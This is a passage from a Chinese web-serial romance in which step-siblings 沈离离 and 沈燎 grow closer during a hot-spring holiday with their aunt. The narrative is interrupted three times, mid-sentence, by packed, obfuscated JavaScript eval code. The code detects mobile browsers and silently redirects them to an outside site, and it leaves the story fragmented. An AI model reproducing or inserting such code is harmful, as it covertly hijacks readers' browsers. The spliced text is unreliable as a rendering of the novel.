一个像光束一样忽然闪过去的念头,被她猛地抓住了。 会不会,沈燎其实是一个很脆弱,甚至有点自卑的人? 可是,为什么? - 直到沈离离午觉睡醒,沈燎才回了消息。 一个无奈摊手的表情包,然后是一句话:抱歉,现在才看手机。姑姑说已经把票订好了,如果你到时没空,再退也没关系。 她捧着手机,打开输入框,两手大拇指悬停在屏幕上方。 几秒后,她回复:我应该没什么事,你呢? 沈燎:我只能空出两天,可能得提前走。 沈离离:两天就两天,一起去吧!我们有挺久没一起出去玩了【小熊兴奋】 聊天框顶上出现了“正在输入中……”的字样,沈离离耐心等了几秒,切出聊天页面,在手机桌面滑来滑去,把天气日历相册都点了一遍。 改变想法,希望一起去度假,其实也就在刚才的几分钟里。她很想和他待在一起,待一整天,做什么都无所谓,只是想让他更自信一点,想让他相信,她是那么那么喜欢他。 片刻,沈燎回复:好,那就一起去。 沈离离松了口气,愉快地发了个语音:“那就下周末见啦。” 沈燎:“意思是,这几天都见不到了?” 他声音仍旧带着淡淡笑意。沈离离听到他的笑,就也扬起唇角,心情莫名就变好了,“你想见的话,那就勉为其难见一下吧。” 另一头的沈燎,将手机凑近耳边,听着她的声音,微微一笑。 她或许也没有想过,他和她一样,听到彼此的笑声,也会感到快乐,像是消除一切疲惫的良药。 - 将最后一首曲子收尾,沈离离的作品集终于初步完成。 算了算时间,端午假期结束后,再过几天就到期末周,然后就是暑假。 从年初到现在,一切都顺利非凡,似乎都正按照计划进行,即使没有计划过却发生了的事,也都是令人愉快的。 顺利得像是天一直晴,不会出现任何不测风云。 六月中旬,端午假期如约而至。 姑姑订的是一家远在澜西市的温泉度假山庄,澜西是一座毗邻边境的小城市,并不很繁华,但与一座死火山离得近,慢慢开发了地热温泉,在市郊建起了度假村,养活一众当地人。 两小时后,飞机落地,沈离离被沈燎唤醒,迷迷糊糊地跟着他下了飞机,坐上一早就订好的车,很快到了度假山庄。 见她还是昏昏欲睡,沈燎抬手,曲起食指,轻轻弹了下她的脑门,“还睡呢,要不坐行李箱上,我直接把你推进去?” 沈离离看了看行李箱,又抬头看他,露出期待的表情:“可以吗?!” “不可以,因为要上台阶了,”沈燎揉了揉她的头发,“醒醒吧,小睡美人。” 姑姑笑出来,“行了,沈燎,你别欺负小离离了。” 沈燎回头,笑说:“姑姑,冤枉,我怎么欺负她了。” “你就有。”沈离离提着小箱子往前跑,回头耀武扬威地冲他挑眉。 沈燎对姑姑说:“您看,这不就醒了。” 姑姑摇头笑出声来。 “你们兄妹俩呀。” 抵达山庄是下午五点,四人各自回房间休整,约定六点到餐厅会合。 山庄其实是个豪华酒店,建在青山绿水之间,外形设计像是漂浮在森林上的云朵,每一间房打开窗都能看见漫山遍野的自然美景。 每间套房都是私人汤屋,有坐落在庭院里的独立浴汤,而在山庄后面,栈道的尽头,是一片层层叠叠的森林温泉。 原以为姑姑顶多会订两间房,沈燎和林砚洲一间,两位女性一间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352305|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。却没想到,姑姑直接把西南方的四间套房都订了。 她说三天的假期当然要过舒服了才行。 进入宽敞的套房,推开玻璃门走到小庭院里,沈离离四处看了一遍。 确实宁静清雅,是富人们最爱的那种度假地。 她回到屋子里,很快把行李整理好,抬头就看见墙上挂着一把相思木的尤克里里,小巧精美,琴身纹理很漂亮。 她起身去取下来,试着弹奏了一下,音质干净,音色细腻,看起来不是全新,但保存得很好。 好的乐器总是让演奏者心痒,她刚打算继续弹,就听见敲门声。 “离离,差不多去吃晚餐了。” 沈燎的声音。 沈离离立刻站起身,放下琴,回道:“来啦,马上!” 她去洗了把脸,换好鞋,开门就迎上了沈燎的胸膛,差点撞在他怀里。 沈离离吓得瞪大眼睛,疯狂站住脚,不让自己冲出去。 沈燎迅速扶住她的肩膀,以一种半圈的姿态环住她,很快,又松开手,往后轻轻退了一步,“走吧,姑姑他们已经过去了。” 沈离离低着头说好,深呼吸了一下,手背蹭了蹭脸,有点热。 餐厅是自助的,但也可以点餐,总之应有尽有,为使客人满意无所不用其极。 姑姑从不怕铺张浪费,沈家人传统的讲究排场,即使只有四个人,也订了间带落地窗的古香古色小包厢,顺手点了五个菜。 沈离离和沈燎进入包厢,姑姑才叫人上菜,转头笑着说:“来这么晚,在路上聊什么呢?” “能聊什么,我收拾得慢,叫离离等我,没想到让她哼了一路的饿。”沈燎笑道。 沈离离没出声,看了他一眼。 落了座,沈燎提起茶壶,将面前的餐具冲洗了一遍,移到沈离离跟前,又把她面前的那一套挪到自己这里,慢条斯理地冲洗。 简单又平常的动作,被他做出一副优雅矜贵的样子,不像在洗餐具,像是在做茶艺。 沈离离余光盯着他瞧了好一会儿,完全没注意听姑姑他们聊了些什么。 直到忽然对上沈燎的眼睛,听见他问了句:“怎么样?” 她缓缓回过神,原来是在说行程。 今晚一起到后山的森林温泉,明天下午去徒步,之后看自己的意愿,在房间的私汤休息也好,约着一起去森林温泉也好。 “可以呀。”沈离离点点头,没有意见。 林砚洲也从手机里抬起脸,回答:“我没问题。” 很快,五道菜一次性上齐,姑姑拍了好几张照片,然后才大手一挥,让饿了一下午的“孩子们”开始动筷。 吃过饭,姑姑拉着沈离离陪她一块去后山散步,两位男士自行安排,晚上八点在包下的池子那边见面。 一路上,姑姑问了她很多学业上的事,很关心她的留学计划是否顺利,得到肯定答案后,才欣慰地点点头。 姑侄二人边走边聊,话题没什么重点,沈离离也放空大脑,挽着姑姑走走停停,一边拍照一边闲聊。 “离离,你哥有没有交女朋友?” 沈离离迟缓地沉默了好几秒,才啊了一声,“好像,是有的吧。” “好像?有就是有,没有就是没有,什么叫好像。”姑姑笑道,“我是在想,他现在年纪合适,事业也算是稳定下来,是该考虑一下家庭的事了。” 沈离离脑内警钟大响,感觉姑姑这是要做红娘牵线的意思。 她绞尽脑汁,想了好一会儿,然后抬头,眼神很有信念,说:“其实,我之前给他介绍了一个女孩,感觉他们聊得挺好的。” 31. 第 31 章 姑姑惊讶地看向她,“真的?你可别乱编,帮着他一起搪塞姑姑。” “真的真的,”沈离离眼睛飘向远处,“那个女孩也是我们学校的,条件还不错。” 姑姑盯了她两秒,很快收回视线,琢磨着说:“那倒确实,也只有你介绍的他才会考虑。是哪家的女孩儿?” 哪家?赵钱孙李周吴郑王家,还能是哪家,不如直接问家里有没有开公司好了。 沈离离微笑说:“我不太清楚这些。” 费尽九牛二虎之力,沈离离终于将话题扭转,重新聊起她的升学问题。 快到八点,两人回到房间,换了浴衣,动身前往温泉。 森林温泉确如其名,池子镶嵌在林中,入目只见绿色,仿若世外桃源。 工作人员在预订的时间前清理池子,放好水,在上方拉上了防尘网,防止树叶掉到水池里。 早到的两位男士已经惬意地躺在左边的池里,听见脚步声,沈燎才睁开眼睛,转头看过去。 沈离离正背对着他脱浴袍,穿了淡蓝色的吊带连体泳衣,腰背雪白,两腿笔直。她抬手绾头发,微微扬起下巴,露出漂亮的肩颈线。 在她将要回头的一霎,沈燎飞快转回身体,听见自己的剧烈心跳声。 再走过来的时候,她外面已经套了一件白雾似的罩衫。 “哥,”她出声,又顿住,干巴巴地说了句:“你们来那么早啊。” 她走进右边的池子,不太敢往他那边瞟。 “其实也就比你们早几分钟。”沈燎游到两池交界的一排石头后,抬眼看她,看了两秒,眼珠又转开了。 看山林树木,野花草丛,波光粼粼的水,池底的石头…… 怎么回事,明明小时候也一家人一起泡过温泉,甚至没有男女分池,为什么那时候不觉得煎熬,心跳也没那么快。 “小燎,”姑姑忽然出声,“听说你最近和一个女孩聊得挺好的?” “……嗯?” 沈离离骤然眼皮一跳,吓得半边身子都麻了。 “离离刚才亲口和我说的,你别想忽悠我。” 姑姑半卧在池里,用手轻轻揉太阳穴,很舒服地闭目养神,看上去只是随口一提。 沈燎转头,对上沈离离眼泪汪汪的求助视线,她还两手合十在胸前,满脸都是求你别说漏嘴。 他沉默片刻,瞬间明白了。 “是有那么回事,”沈燎开口,面无波澜,“不过您知道的,这种事,急不来。” “虽说是急不来,但也差不多该考虑了,”姑姑语重心长,“我倒是不操心离离,就你和砚洲,在谈恋爱的事情上真是一点不开窍。” 林砚洲:“妈,我今年才十八岁。” 沈离离:“姑姑,为什么不用操心我?” 姑姑睁开眼,看向她,笑道:“离离高中时收到过情书吧?放心,姑姑不会故意侵犯你们隐私,只是偶然瞥到。不过,我们家离离受欢迎,也是情理之中的事情呀。” 沈离离又是一吓,这回,下意识转头,视线去找沈燎。 后者也正看着她,微微挑眉,目光含笑。 完了,这要怎么解释,确定关系才几天,就要闹出这种误会。而且,姑姑看见的,究竟是别人写给她的,还是……她写的呢? “主要还是工作上的事,反复无常,一阵闲一阵忙,没法腾出精力做别的事。明天回了海文,歇两天就要飞国外出差。”沈燎开口,轻而易举地转移了话题。 姑姑惊讶道:“你明天就走?” “嗯,明晚或者后天早上。后天下午还有个会要开……” 说着说着,又聊起了工作。 沈离离幽幽松了口气,从没有一次觉得沈燎工作上的事情那么悦耳。 大概四十分钟,沈离离已经泡得头晕胸闷,爬出池子,说:“姑姑我先回去了,头有点晕。” 她去冲了个澡,穿上浴袍要往外走时,就听见沈燎的声音。 “离离,身体怎么样?” 她回头,瞧见他披了一块宽大的浴巾,头发微湿,上半身还在滴水,水珠在漂亮的小腹肌肉上缓缓下滑,滑入…… 沈离离立刻抬头,对上他的眼睛,清了清嗓子:“还好,没事,我泡温泉总是这样,时间泡不长。” “我知道,”他轻笑,“你小时候在池子里晕倒过,那时候胆子是真小,难受也不知道讲出来。” “我那是第一次泡温泉嘛,还以为这种反应是正常的……” 后面忽然传来姑姑的呼唤:“小燎,你也要走了?” 沈燎回答:“没,我送离离回去,怕她腿软。” 姑姑:“那叫人帮我倒杯水过来一下。” “好。” 他回身,朝她走近,“走吧。” 回到房间,一路上沈离离都没挪视线,意志坚定地盯着前方。 沈燎垂眸看她一眼,笑了,慢悠悠开口:“情书,是别人给你的,还是你要给别人的?不想回答也没关系,哥就问一句。” 狡猾,这时候知道搬出哥哥的身份了。 沈离离抬头,大声说:“别人给我的。” “这样啊,文采如何?” “特别好,肯定比本科学数学的人好。” “哦,这么说,还挺喜欢的,答应了吗?” “沈燎!”沈离离抬头瞪他,咬牙切齿。在温泉里泡太久,她的脸蛋还微微泛红。 沈燎轻轻笑出来,“好好好,看来,我也得补偿一封情书了。” “罚你写一百封。” “一百封?看得过来吗?” 沈离离加快步子往前走,把他甩在身后,“你管我看不看得过来呢,反正得写。” 没走出几步,手腕就被他抓住,她挣脱无果,回过头继续瞪他。 沈燎停住脚步,脸上还带着笑意,手指顺着她的手腕向下,然后一点点探进她的掌心,挠了一下,又十指相扣。 沈离离耳垂烧红,控制不住地一步步后退,忽然背后一凉,贴在墙上了。 抬头就对上他的目光。 “那我写一百零一封的话,有没有额外奖励?” 他微微弯腰,与她平视,眼眸柔情似水,仔细看又像不见底的深谭。 “你想要什么。”沈离离不甘落于下风,用尽全力,仰起头,与他四目相对。 沈燎的喉间溢出一声愉悦的笑。 他另一只手抬起,抚在她脸侧,拇指从鼻尖往下,慢悠悠,最后停在她的唇上。 两个人的眼睛都是潮湿的,含着水光,仿佛时刻有蒸气升腾,氤氲四周一切。离得太近,只能闻见对方身上的味道了,清清浅浅的,和平时衣着整齐时不太一样。 沈离离一怔,忽然意识到沈燎还赤裸着上半身,只披着一张随时可能掉下去的浴巾,脸顿时又热起来,眼珠定住了,只看着他的唇,不敢往下。 片刻后,沈燎弯下腰,却只轻轻吻在他自己的拇指上。 沈离离陡然一怔。 这是告白那天,她对他做过的动作。 直到今天才知道,这不经意的动作杀伤力有多大。冥冥之中,感觉这吻隔着拇指,已经虚虚地落在自己唇上,再电流一般传到全身,五脏六腑,经脉血管,指尖,脚底…… 她汗毛直立,喉结一滚,口干舌燥,“哥……姑姑还在等你呢。” “嗯。” 他声音带了点鼻音。 沈燎直起身,抬手把她脸颊旁边的发丝别到耳后,指尖碰到她滚烫的耳垂,一触即离,说:“回去吧,注意别着凉。” “不会着凉的。”她埋着脑袋,轻声说完,转身快步离开。 沈燎注视她的背影,没忍住,低头笑了笑。 这一晚,沈离离开了小夜灯,依然在床上滚来滚去,很久才睡着。 她告诉自己,一定是因为白天在飞机上睡太久了。 - 次日,沈离离不负所望地睡到日上三竿才醒。一看消息,姑姑他们已经在去餐厅的路上了。 还是昨天的包厢,不过这次终于没有再点满桌盛宴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357262|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杜绝铺张浪费,沈离离默念。 下午休息好了,四人才开始丛林徒步之旅。 从吃饭时,沈离离和沈燎就没有说太多话,对视也匆匆移开。沈燎倒是脸色平静,只留沈离离一个莫名心虚。 她越想越感到不平衡,可归根结底,昨晚其实什么都没有发生,他那样怡然自得的态度或许才是正常的。毕竟,一个隔着拇指的吻?那算什么。 沈离离有点别扭,戴着耳机,用音乐声把自己与外界隔离,杵着登山杖,闷着头往前走。 姑姑拉着砚洲慢悠悠地走在后面,欣赏山林风光,时不时就要停下来感慨一会儿。 沈燎一路跟在沈离离身后几米处,猜测着,照她这样完全不顾体力消耗的迅猛冲劲,走多久会累倒。 计算着时间,大概过去半小时,前面女孩子的速度肉眼可见地慢下来了。 澜西市全年气候温和,但夏天终究是要突出一些。 今日下午烈日炎炎,要是穿着防晒衣站在太阳下,不过十分钟,汗水就能将外套浸得黏黏的。好在这条山路专门开发供旅客徒步,头顶大片大片的树荫,风吹来,只感觉凉爽。 沈离离走累了,气喘吁吁,停下步伐,半蹲着做深呼吸。 沈燎走上前,轻拍她的背,“喝几口水,走慢点,累的话我们就回去。” 他其实没觉得这徒步有什么意义,锻炼身体的话,有比这更好的方式,硬说看风景那就更没必要,这样的林子到处都是,何必花如此力气折磨自己。 沈燎没意识到,自己的思维完全在偏袒沈离离,失去了公正的思考。 “来都来了,回去,也没事情干……”她灌了半瓶水,重重地喘着气,含糊地说。 “慢慢走回去,差不多一小时,到了休息一会儿,刚好可以吃完饭。” 沈燎的计划简直无懈可击。 沈离离被说动,抬起脑袋看他,试探的口气:“那我们,就这么逃跑了?” 他笑了,伸手把她搀起来,“怎么就逃跑了?这是正常的规划,量力而行。”摸到她的胳膊,冰冰凉凉的,和他手掌的灼热形成鲜明对比。 沈离离习惯性把手递给他,肌肤相触的一瞬也愣了,感觉胳膊被一团火烧着,十分滚烫的温度。 “哥你发烧了?”她有点着急,垫脚抬手,用手背去够他的额头。 沈燎觉得离谱,但身体格外顺从,微微弯腰低头让她碰,然后笑着说:“不是我发烧,是你太凉了,出了汗,又被风吹着,再不注意,晚上发烧的该是你。” 沈离离一抬眼,隔着几厘米,对上他带笑的眼睛。 她飞快收回手和视线,“哦,那,那快点回去吧。” 下山路上,遇到沈君玉母子俩,没想到两人也玩得差不多,开开心心地与他们一道往回走了。 路过酒店接待厅,有一对情侣坐在待客区弹吉他唱歌,女孩的歌声有点跑调,男生的F和弦按不响……大概是初学者。 沈离离多看了两眼,听出来是首情歌。 沈燎习惯性走在她身侧,也顺着她的目光看过去,“怎么了?” 她转回头,想了想,问他:“你房间里,有没有一把尤克里里?” 似乎不需要回忆,他立刻回答:“没有,但有一支笛子,有点儿……古香古色的。” “这个我还真不会。”沈离离笑了。 “还有你不会的乐器?” “民乐我都不太擅长。” 她抿了抿唇,似乎欲言又止。 走到餐厅,要穿过明亮洁白的走廊,沈君玉母子走在前面,与他们相隔几米,压低声音讲话,大概是听不见的。 沈燎又垂眸看她,瞧见她睫毛颤动,下一刻,眼皮掀开,与他视线交汇。 她轻轻拽他的衣袖,叫他停一下,然后把手拢在唇边,凑到他耳畔。 她的气息,就这样挠痒痒似的喷洒在他耳朵上,轻飘飘,慢悠悠。沈燎头皮发麻,尽力克制住身躯的颤动。 她悄声说:“哥,今晚在你房间等我。” 32. 第 32 章 晚上九点十八分,夜不算太深,但屋内很寂静。 笔记本电脑摆在桌上,沈燎戴着眼镜,稍稍皱着眉,盯着屏幕,手指在键盘上噼里啪啦打字回复邮件。 因为沈离离那句话,他悬着心等到现在。 她说完就跑远,不给人一点反应时间,吃饭时自然也找不到机会询问。 沈燎重重叹了口气。 没想到气音刚落,门口就传来门铃声。 叮咚—— 沈燎一个激灵,起身,快步走过去开门。 片刻后,他站在原地愣了一秒。 “姑姑?” 这家度假酒店每间VIP套房装修风格都不一样,真正做到了给每位VIP独一无二的体验。 不过分发房卡时他们都没有太在意,反正都装得漂亮,住哪不是住。 沈燎这间就是很明显的中式古风,纱幔,屏风,茶艺隔间,家具也大多是木制,整个房间充斥着一股淡淡的木质调香气,大概是燃过熏香。 此刻,他正与沈君玉对坐在茶桌两侧。 深夜,两人都没有喝茶的兴致,只简单倒了两杯水。 这样郑重的姿态,沈燎猜测她想聊的事很大可能有关陆凯鸿。 果然,沈君玉开口,直入主题:“小燎,上次回老宅,奶奶找过你了吧?” 沈燎点头:“嗯,为我爸的事情。”他垂下眼,抿了一口水,脑子里却想到,那天奶奶还说了别的事。 她说兄妹二人,小的那个不懂事,大的得会教。其实已经在拐弯抹角警告他,别和沈离离,这个所谓的半路妹妹走得太近。 奶奶会这样提醒,恐怕并不是看出了什么,而是……有前车之鉴。 “你找他说过了?” 沈燎:“托我姐转告的。” 沈君玉面容平和,似乎这不是什么重要的事,她也仅仅是随口一问,“那你爸怎么说?” 沈燎抬眸,不动声色打量着沈君玉,“不清楚,他没找过我。姑姑,您知道的,我爸跟沈家的事,我和我姐说再多也没用。” 沈君玉轻轻吸了一口气,又缓缓呼出,蹙着眉,两指揉了揉太阳穴。 一会儿后,她才说:“你还姓沈,他怎么能不回来。” 沈燎温声道:“可我终究不是沈家的人。” “你们兄妹两个怎么都……”她抬头,对上沈燎淡然的双眼,话音止住,停了两秒,后面的话消失了,化作叹息。 她没有再多说,起身道:“反正,如果你爸有消息了,告诉我一声。明天是不是还要赶飞机?早点睡吧。” “嗯,您也是,早点休息。”沈燎也站起来,送她到门口。 他握上门把,往下按的同时,屋内紧跟着就想起了清脆又突兀的门铃。 又是一声叮咚。 沈燎僵住。 姑姑在他身后,疑惑:“这么晚还有人,你点了吃的?” 来不及回话,等他松开手的时候,门已经打开了。 沈燎抬眼,对上沈离离那双明亮水灵的眼睛,她笑着说了声:“我来啦。” 沈离离下一句话还堵在嗓子眼,就被沈燎紧紧拧起的眉头和眼神吓愣了,接着就听到沈燎后面的声音:“是谁呀?离离?” 沈燎退开,把她轻轻拉进来,这才注意到,她怀里还抱着一把尤克里里。 “哎呀,真是离离,这是来……”姑姑惊讶地打量她。 沈离离穿着白色睡裙,踩着拖鞋,长发散在脑后,发尾还有潮意,像是才刚洗完澡就过来了。 她立刻扬起笑容,把尤克里里握在手里,笑说:“在房间找到这个,我就想起来我哥之前说想学乐器,这个适合零基础,拿来给他试试,喜欢的话回海文我再好好教他。” 姑姑迟疑着看向沈燎,后者很认真地点头,附和道:“之前随口提的,没想到离离还记得清楚。” “这样啊。”姑姑盯着他,忽然笑了笑,没再多说,与二人道别,离开了。 沈燎关上门,咔哒一声落了锁。 两人对视,心脏怦怦跳,仍有余悸。 沈离离僵了好几秒,张口就说了句:“哥,我们好像在偷情。” 沈燎抬手,弹了她的脑门,沈离离吃痛惊呼:“沈燎!” “胡说什么呢。”他忍不住望着她笑了一声,随后才迈步向前,引她往里走。 沈离离抱着尤克里里,跟在他后面:“姑姑这么晚来找你,什么事啊?” “就叫我爸回沈家见爷爷的事,上回在老宅奶奶说过的。” “哦,还是这事,弄得神神秘秘的。”她回想了一下。 进了房间,沈离离左右看了看,心想这些套房的装修风格虽然完全不同,但确实全都别具风味,精致漂亮。 她坐到沙发里,开始拨弄琴弦,听到沈燎问:“就穿这么点,冷不冷?” 她低头看了眼自己的睡裙,后知后觉地感到脸热,一抬头,看见沈燎拿着外套走过来,递给她:“披着,晚上气温低,小心着凉。” “啊,好。”她愣愣地接过来,套上了。 是沈燎的黑色卫衣外套,带着他的身上的气味,甚至还没穿上时,衣服掠过的风就已经把这气味送到她的鼻间。 每次拥抱的时候,周身也全都是这味道,不知道如何具体形容,似乎整个自然界都没有平替,是独一无二的沈燎。 沈离离规规矩矩地穿上了,但没拉拉链,确实没有那么冷。 他的衣服,对她来说还是太大,袖子堆到手腕上才能露出手指。 忽然,沙发往下陷了一点,沈离离抬眼,对上沈燎似笑非笑的眼睛。 他坐在她旁边,提起那把尤克里里,“真是来教我弹琴的?” “如果你想学的话,也不是不可以。” 他笑了笑,递还给她,“你先来,给我展示一下这琴的魅力?” 沈离离接过来,清了清嗓子,“听好了哦。” “保证全神贯注。” 她一笑,然后垂下眼,拨弄琴弦,清脆悦耳的旋律缓缓流出,简约的前奏结束,她开口唱出歌词。 尤克里里的音色清脆又明亮,颗粒感十足,听得出音质很好。与沈离离的歌声相得益彰,整首曲子被演奏得温暖饱满。 沈燎听得耳熟,直到她唱到高潮部分,才猛地想起来,是乐队演出那晚,她唱的那首原创歌曲 ——脉搏。 “候鸟用翅膀丈量云层时,我正用回忆丈量你的影子。当黄昏按下暂停键时,心跳成为唯一计时方式。” 简单到极致的伴奏,搭配着她放松下来的纯净声线,与演出那晚完全不一样的听感。 窗外月夜静谧,屋内和谐温馨。 木质调的香气清淡儒雅,眼前的女孩子穿着他的的外套,或许身上也沾上了他的气味。 她半闭着眼睛,脸上带笑,放声歌唱,手指在琴弦上无比灵活地跳着舞,不时曲起指节扣响面板当做鼓点。 编曲中鼓和贝斯的绝佳配合被她化解,也把小提琴部分改为指弹,原曲蓬勃的生命力转为轻松和温暖。 沈燎看着她,喉咙微动,无法移开目光。 短暂的一曲结束,沈离离脸上兴奋的笑容还未褪去,眼睛又大又亮,看着他,“怎么样?有没有想学的欲望?” “有,不过我很笨,离离老师有耐心教我?”他嗓音温柔。 沈离离哈哈一笑,把琴塞到他怀里,满脸骄傲:“我可是琴行金牌老师,放心吧,沈同学,一定让你成为日后的尤克里里大师。” 说完,自己先憋不住笑了。 沈燎瞧着她的笑脸,满目柔和,“行啊,离离老师很自信嘛,我拭目以待。” “哼哼,课堂开始啦。” 她往他身边凑近了些,从抱琴的姿势开始教他。发现小巧的尤克里里在沈燎手中简直像是可爱的小玩具,不过对于零基础来说,他的手也确实笨得很离奇。 沈离离有点相信他总说自己没有音乐细胞这事是真的了。 “这是品格,这是弦钮,用来调节琴弦松紧,起到调音的作用,琴弦往这边开始数,一弦,二弦……” 沈燎努力使自己当一个合格的学生,目光却总不听话地往其他地方跑。集中注意力变成一件难事,上学时似乎都没有这样困难过。 她的发尾还微湿,没有完全吹干,身上那种令他感到熟悉又安心的气味又出现了,但同时,也混杂着其他味道,可能来自他的外套。 外套对她来说还是太大,松松垮垮地套在身上,袖子在手腕处挤了好几层,对他来说刚合适的袖口,到她这里成了萌袖。 她还上高中的时候,他被允许走进她的房间,杵在书桌前,仔细地给她讲解数学大题的一个个步骤。 她听得似懂非懂,一会儿走神发呆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15361996|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一会儿说饿了想吃宵夜。 他板着脸批评她不认真,而她呢,又撒娇又耍赖,睁着一双湿漉漉的眼睛,仰头看着他,软着声音说哥你最好了,求求你了哥。 这招她简直屡试不爽。 如今,位置似乎悄然调换。 沈燎抬眼,对上沈离离的目光。她愣了一下,话音停住,唇还微张着。 “怎么了?” 他把尤克里里平放在腿上,转过身,把她的脸捧近,倾身吻上去。 沈离离呆住了,眼睛还大大睁着,不可置信。 不过几秒,她也全然把这场突如其来的教学抛到脑后,手臂攀上他的后颈,闭上眼睛,放任自己沉入海底。 片刻后,沈燎忽然叫停了。 沈离离胸口起伏,急促地呼吸着,眼睫还有些湿润,带着水雾不解地望向他。 沈燎有点奇怪,耳朵好红,手掌的温度好高…… 他将琴轻轻放到桌上,拇指擦掉她眼角的湿润,又抬头亲了下她的眼睛,声音刻意压低了,还有点哑,“离离,我明天早上就要走。” 沈离离一愣,“必须回去吗?” “很重要的会,可能推不掉。” 她垂下眼睫,“哦,没事的,我们晚上也该回了,就一天见不到而已。” 他笑,“确实,就一天见不到而已。” 也就明天去逛集市,看花田,没有他在,也就回程路上,两小时的飞机没有他在…… 沈离离吸了吸鼻子,扭开头,“我有点讨厌你了。” “这就讨厌了,我又怎么惹到大小姐了?”他明知故问,仍旧笑着看她。 “就是很讨厌。” 沈燎揉了揉她的头发,又把她拉进怀里,轻轻拍她的背,“好,我惹公主殿下不高兴,我就是很讨厌。打算怎么罚我?还看电影么?” 沈离离用拳头打他,想了想,说:“不能罚那么轻。这次得罚你……陪我去看演唱会。” 他是真的被逗笑了,“确定不是在奖励我?沈离离,心怎么这么软。” “别高兴太早,”她离开他的怀抱,坐直身体说,“还得学会一首歌,唱给我听。” “情歌?像脉搏一样的?” 她一愣,“嗯,情歌。” 时间不早,沈燎明天还要早起,沈离离不再打扰他,起身道别。 她走出那间古香古色的房间,回到隔壁,完全的欧式轻奢风套房。 沈离离将自己扔进柔软大床,埋进被窝滚了几圈,停下来,躺在床上看着天花板的水晶吊灯发了会儿呆,目光下移,看向墙壁。 好像缺了点什么。 她猛地坐起身,忘记把尤克里里拿回来了。 反正几步路的距离,走一走动一动也好,绝对不是还想再见他。 沈离离跳下床,强装镇定,脸红心跳,又走到沈燎门前了。 她轻咳一声,刚要抬手按门铃,就瞧见门缝漏出的光。 刚才走太急,门没有合拢。 她指节叩了叩门,说:“哥我来拿一下琴。” 没有回应。 沈离离抿了抿唇,抬手把门推开了,一进去就听到浴室的水声。 原来跑去洗澡了,动作真快。 她把门合上,走进来,提起那把尤克里里,在原地站了一会儿,再次抬头环顾房间,绕着客厅走了两圈,心不在焉,到处看。 怎么还没有洗好。 沈离离察觉自己心跳越来越快,抿紧唇角,时不时就往浴室方向瞧一眼。 转到办公桌前,才注意到沈燎的电脑还开着,在姑姑和她接连拜访前,他估计还在工作。 她百无聊赖,走到屏幕前,简单扫了一眼,是邮箱编辑页面,全部是看不懂的专业名词。 沈离离叹了口气,转身,打算离开了。还是等会儿直接给他发消息,说明自己来过,拿了琴就走了。 只走出去两步,忽然听到来自电脑的消息提示音。 突兀的叮咚一声。 她一愣,下意识回头看,目光稍稍定格在屏幕页面上。 没去看新消息的红点,却骤然看清了几个小字。 直到很久很久之后,沈离离也说不清楚,那天晚上她到底为什么会在复杂的邮箱页面,单单注意到最边上的,那几个小小的字,注意到那个被单独命名的文件夹 ——To离离。 33. 第 33 章 站在道路尽头回望时,沈燎会发现,三年其实并没有那么漫长,不过是三个秋。 不过对一个心碎的人来说,大概每一天都像整个冬季一样难熬。 海文的夏天很热,以前沈离离总在抱怨,说八月的海文市简直是地狱。沈燎深表赞同。 直到去到陌生城市,他吃着难以下咽的食物,忍受夏季时满大街飘散的酸臭味,还要在隔壁无时无刻不发出吵闹的出租屋里睡觉。 他躺在床上,翻来覆去,睁眼瞪着天花板,根本无法入眠。 隔壁又在蹦迪,音乐吵得他脑瓜嗡嗡作响,头痛欲裂。 他有点想不通,自己为什么会沦落到这个境地,更想不通的是,他怎么能允许自己因为某些幼稚的理由和借口,自甘堕落了那么多年。 叛逆的孩子会引起家长的高度关注,这确实没错,可惜沈燎年轻时不知道,这定理还有附加条件。 家长得是真的爱着这个孩子。 他起身,把枕头垫在腰后,盘腿坐在床上,然后伸手从床头柜把电脑拿来,搁在腿上。 沈燎没有开灯,任凭电脑的白光刺在自己眼球上。生理性的疼痛刺激让他眯了眯眼,皱紧眉头。 他后来回想,在国内读十几年书都没能把他的眼睛读坏。度数飞速下降,估计罪魁祸首就是这三年。 打开电脑,点进邮箱,草稿页面。 存稿箱里,有二十多条未发送的邮件,开头全部是致沈离离。 他盯着那个名字看了半晌,然后动手,直接新建了一个单独的文件夹:To离离。 记得以前聊起英文名的时候,他开玩笑说:“就叫Lily怎么样,都不用费心取了。” 沈离离轻轻皱眉,似乎在思考,几秒后就摇头说:“不要,我不喜欢百合花。” “为什么?” “我不要纯洁高雅,”她笑着,用很天真的语气说,“我喜欢惊喜。” 沈离离总是知道自己想要什么,从小就知道。她自己可能不清楚,这是一个非常让人羡慕的天赋。 